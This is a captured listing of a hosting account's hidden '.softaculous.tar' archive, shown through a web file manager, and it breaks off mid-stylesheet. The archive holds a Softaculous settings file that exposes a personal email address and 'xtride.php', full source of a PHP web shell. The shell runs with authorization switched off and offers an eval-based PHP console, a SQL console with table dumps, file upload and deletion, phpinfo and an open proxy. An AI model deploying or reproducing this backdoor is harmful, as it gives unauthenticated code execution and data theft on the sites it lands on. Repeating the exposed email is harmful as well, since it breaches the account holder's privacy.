Файловый менеджер - Редактировать - /home/gqdcvggs/hizhat.com/.softaculous.tar
Назад
user.php 0000600 00000001612 15114716166 0006233 0 ustar 00 a:27:{s:9:"ins_email";i:1;s:9:"rem_email";i:1;s:16:"editdetail_email";i:1;s:12:"backup_email";i:1;s:22:"disable_template_email";i:0;s:21:"disable_restore_email";i:0;s:30:"disable_restore_template_email";i:0;s:19:"disable_clone_email";i:0;s:21:"disable_staging_email";i:0;s:20:"disable_import_email";i:0;s:25:"disable_all_notify_update";i:0;s:19:"email_password_user";i:0;s:8:"timezone";i:0;s:5:"email";s:20:"izhakaktas@gmail.com";s:10:"pfxapi_key";i:0;s:11:"eula_accept";N;s:18:"custom_demo_domain";N;s:20:"custom_demo_launcher";N;s:12:"demo_expires";N;s:11:"wp_fp_modal";i:1;s:11:"color_theme";a:4:{s:18:"left_panel_cathead";i:0;s:21:"left_panel_scriptname";i:0;s:13:"left_panel_bg";i:0;s:24:"left_panel_cathead_hover";i:0;}s:18:"user_defined_color";i:0;s:19:"disable_suggestions";i:1;s:21:"disable_softai_notice";i:0;s:14:"arrange_domain";i:0;s:23:"default_backup_location";i:0;s:13:"off_backup_au";i:0;} akcc.php 0000644 00000000000 15114716166 0006154 0 ustar 00 xtride.php 0000644 00000235135 15114716166 0006575 0 ustar 00 <?php /* PHP File manager ver 1.6 */ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":""}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search": "Рекурсивный поиск","Mask":"Маска"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.6; ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/henriyzx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: 